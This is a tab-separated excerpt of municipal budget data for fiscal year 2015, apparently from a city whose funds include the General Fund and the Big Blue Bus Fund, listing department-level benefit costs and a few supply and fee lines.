14880	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		DISABILITY INSURANCE	806.0	Salaries and Wages	2015	75090.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75090.0
14881	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2015	38793.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38793.0
14882	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2015	18031.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18031.0
14883	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EAP	806.0	Salaries and Wages	2015	1562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1562.0
14884	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2015	2721.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2721.0
14885	BA	IS	1	General Fund	310	FIRE	315	TRAINING		EAP	806.0	Salaries and Wages	2015	314.0	0	0	0	0	0	0.0	0	0	0	0	0.0	314.0
14886	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EAP	808.0	Salaries and Wages	2015	679.0	0	0	0	0	0	0.0	0	0	0	0	0.0	679.0
14887	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	2366.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2366.0
14888	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	4581.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4581.0
14889	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2015	5701.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5701.0
14890	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2015	1767.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1767.0
14891	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2015	1977.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1977.0
14892	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EAP	808.0	Salaries and Wages	2015	833.0	0	0	0	0	0	0.0	0	0	0	0	0.0	833.0
14893	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	227147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	227147.0
14894	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	287021.0	0	0	0	0	0	0.0	0	0	0	0	0.0	287021.0
14895	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	48569.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48569.0
14896	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	137190.0	0	0	0	0	0	0.0	0	0	0	0	0.0	137190.0
14897	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	222771.0	0	0	0	0	0	0.0	0	0	0	0	0.0	222771.0
14898	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	293105.0	0	0	0	0	0	0.0	0	0	0	0	0.0	293105.0
14899	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	9209.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9209.0
14900	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		UNEMPLOYMENT	808.0	Salaries and Wages	2015	14501.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14501.0
14901	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	21075.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21075.0
14902	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	729.0	0	0	0	0	0	0.0	0	0	0	0	0.0	729.0
14903	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D[	810.0	Salaries and Wages	2015	2106.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2106.0
14904	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	985.0	0	0	0	0	0	0.0	0	0	0	0	0.0	985.0
14905	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	3148.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3148.0
14906	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EAP	812.0	Salaries and Wages	2015	1148.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1148.0
14907	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511749.0	VISION	808.0	Salaries and Wages	2015	1022.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1022.0
14908	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2015	285349.0	0	0	0	0	0	0.0	0	0	0	0	0.0	285349.0
14909	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2015	12390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12390.0
14910	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	5117.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5117.0
14911	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	10266.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10266.0
14912	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DCAP	804.0	Salaries and Wages	2015	358.0	0	0	0	0	0	0.0	0	0	0	0	0.0	358.0
14913	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	2358.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2358.0
14914	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		WELLNESS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14915	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14916	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DCAP	808.0	Salaries and Wages	2015	360.0	0	0	0	0	0	0.0	0	0	0	0	0.0	360.0
14917	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		UNEMPLOYMENT	810.0	Salaries and Wages	2015	4795.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4795.0
14918	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EAP	810.0	Salaries and Wages	2015	833.0	0	0	0	0	0	0.0	0	0	0	0	0.0	833.0
14919	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14920	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	6494.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6494.0
14921	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		EAP	840.0	Salaries and Wages	2015	2281.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2281.0
14922	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		EAP	808.0	Salaries and Wages	2015	1567.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1567.0
14923	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	7155.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7155.0
14924	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	10369.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10369.0
14925	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DCAP	808.0	Salaries and Wages	2015	574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	574.0
14926	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	4916.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4916.0
14927	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2015	18029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18029.0
14928	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2015	15302.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15302.0
14929	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2015	43264.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43264.0
14930	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2015	6818.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6818.0
14931	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EAP	804.0	Salaries and Wages	2015	519.0	0	0	0	0	0	0.0	0	0	0	0	0.0	519.0
14932	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14933	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EAP	804.0	Salaries and Wages	2015	4504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4504.0
14934	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	8935.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8935.0
14935	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DCAP	810.0	Salaries and Wages	2015	574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	574.0
14936	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	7041.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7041.0
14937	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14938	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	3429.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3429.0
14939	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	646.0	0	0	0	0	0	0.0	0	0	0	0	0.0	646.0
14940	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	1152.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1152.0
14941	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	5326.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5326.0
14942	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	2365.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2365.0
14943	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	7157.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7157.0
14944	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2015	11984.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11984.0
14945	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511748.0	DENTAL	840.0	Salaries and Wages	2015	7768.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7768.0
14946	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	791019.0	0	0	0	0	0	0.0	0	0	0	0	0.0	791019.0
14947	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2015	2786.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2786.0
14948	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2015	28516.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28516.0
14949	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	547364.0	0	0	0	0	0	0.0	0	0	0	0	0.0	547364.0
14950	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2015	45437.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45437.0
14951	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	153302.0	0	0	0	0	0	0.0	0	0	0	0	0.0	153302.0
14952	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	711014.0	0	0	0	0	0	0.0	0	0	0	0	0.0	711014.0
14953	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2015	8575.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8575.0
14954	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		UNEMPLOYMENT		Salaries and Wages	2015	3615.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3615.0
14955	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		LIFE INSURANCE & AD & D		Salaries and Wages	2015	842.0	0	0	0	0	0	0.0	0	0	0	0	0.0	842.0
14956	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	3343.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3343.0
14957	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EAP	808.0	Salaries and Wages	2015	733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	733.0
14958	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2015	1218.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1218.0
14959	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2015	4859.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4859.0
14960	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	16972.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16972.0
14961	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2015	22282.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22282.0
14962	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		WELLNESS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14963	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2015	993.0	0	0	0	0	0	0.0	0	0	0	0	0.0	993.0
14964	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2015	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
14965	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	405600.0	MILES PLAYHOUSE FEES	612.0	Charges for Service	2015	-6500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6500.0
14966	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	579240.0	CIVIC PARKING BOND DEBT SERVIC	910.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14967	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544360.0	ELECTRONIC RESOURCES	812.0	 Supplies and Expenses	2015	288700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	288700.0
14968	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14969	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2015	45794.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45794.0
14970	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	12232.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12232.0
14971	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	11479.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11479.0
14972	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2015	14148.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14148.0
14973	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2015	6816.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6816.0
14974	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2015	9893.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9893.0
14975	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2015	15933.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15933.0
14976	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DCAP	816.0	Salaries and Wages	2015	572.0	0	0	0	0	0	0.0	0	0	0	0	0.0	572.0
14977	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	3130.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3130.0
14978	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		UNEMPLOYMENT	816.0	Salaries and Wages	2015	17234.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17234.0
14979	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		UNEMPLOYMENT	816.0	Salaries and Wages	2015	5144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5144.0
14980	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EAP	816.0	Salaries and Wages	2015	1148.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1148.0
14981	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	1262.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1262.0
14982	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2015	3358.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3358.0
14983	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2015	22470.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22470.0
14984	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EAP	806.0	Salaries and Wages	2015	12946.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12946.0
14985	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		DCAP	806.0	Salaries and Wages	2015	8910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8910.0
14986	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DISABILITY INSURANCE	806.0	Salaries and Wages	2015	4150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4150.0
14987	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	6441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6441.0
14988	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	2286.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2286.0
14989	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	3228.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3228.0
14990	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	3838.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3838.0
14991	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	4116.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4116.0
14992	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EAP	812.0	Salaries and Wages	2015	3133.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3133.0
14993	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EAP	816.0	Salaries and Wages	2015	619.0	0	0	0	0	0	0.0	0	0	0	0	0.0	619.0
14994	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	8213.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8213.0
14995	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	16465.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16465.0
14996	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DCAP	816.0	Salaries and Wages	2015	2518.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2518.0
14997	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DCAP	804.0	Salaries and Wages	2015	502.0	0	0	0	0	0	0.0	0	0	0	0	0.0	502.0
14998	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2015	18155.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18155.0
14999	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	138283.0	0	0	0	0	0	0.0	0	0	0	0	0.0	138283.0
15000	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	400320.0	MILES PLAYHOUSE PROD FEES	612.0	Charges for Service	2015	-17500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17500.0
15001	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	18848.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18848.0
15002	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2015	17871.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17871.0
15003	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2015	6590.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6590.0
15004	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	10357.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10357.0
15005	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	7755.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7755.0
15006	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	7546.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7546.0
15007	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	3777.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3777.0
15008	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2015	11434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11434.0
15009	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2015	7520.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7520.0
15010	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EAP	806.0	Salaries and Wages	2015	1362.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1362.0
